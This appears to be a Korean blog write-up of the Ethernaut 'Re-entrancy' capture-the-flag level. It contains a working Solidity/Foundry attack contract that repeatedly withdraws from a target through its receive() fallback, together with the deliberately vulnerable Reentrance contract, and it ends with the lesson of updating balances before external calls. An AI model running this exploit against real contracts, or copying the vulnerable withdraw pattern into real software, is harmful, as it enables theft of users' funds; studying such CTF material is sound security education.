The Ethernaut - 10. Re-entrancy

Gunter·2024년 10월 20일
0

The Ethernaut

목록 보기
11/26

The goal of this level is for you to steal all the funds from the contract.

Things that might help:

Untrusted contracts can execute code where you least expect it.
Fallback methods
Throw/revert bubbling
Sometimes the best way to attack a contract is with another contract.
See the "?" page above, section "Beyond the console"

 


 
TMI : 아무것도 모르고 일단 무작정 아무거나 알아볼 때 처음 본 게 re-entrancy 공격이라 문제 제목 보자마자 반가웠다
그렇다고 제가 이걸 잘 아는건 아니고 그냥 반가웠다.

 

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.12;

import "../src/re-entrancy.sol";
import "forge-std/Script.sol";
import "forge-std/console.sol";

contract AttackReentrant {

    Reentrance public reentranceInstance = Reentrance(payable(0xE56c4F47f305c1440d25691985b8bCc81D2864E2));

    constructor() public payable {
        reentranceInstance.donate{value: 0.001 ether}(address(this));
    }

    function withdraw() external {
        reentranceInstance.withdraw(0.001 ether);
        (bool result,) = msg.sender.call{value: 0.002 ether}("");
        require(result);
    }


    receive() external payable {
        reentranceInstance.withdraw(0.001 ether);
    }

}

contract POC is Script {

    function run() external {
        vm.startBroadcast(vm.envUint("user_private_key"));
        AttackReentrant attackReentrant = new AttackReentrant{value: 0.001 ether}();
        attackReentrant.withdraw();
        vm.stopBroadcast();
    }
}

 

Re-entrancy.sol

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.12;

contract Reentrance {
    mapping(address => uint256) public balances;

    function donate(address _to) public payable {
        balances[_to] += msg.value; // SafeMath 없이 기본 연산 사용
    }

    function balanceOf(address _who) public view returns (uint256 balance) {
        return balances[_who];
    }

    function withdraw(uint256 _amount) public {
        if (balances[msg.sender] >= _amount) {
            (bool result,) = msg.sender.call{value: _amount}("");
            if (result) {
                balances[msg.sender] -= _amount; // SafeMath 없이 기본 연산 사용
            }
        }
    }

    receive() external payable {}
}

 

send, transfer, call을 호출하기 전에 잔고 정리하자

0개의 댓글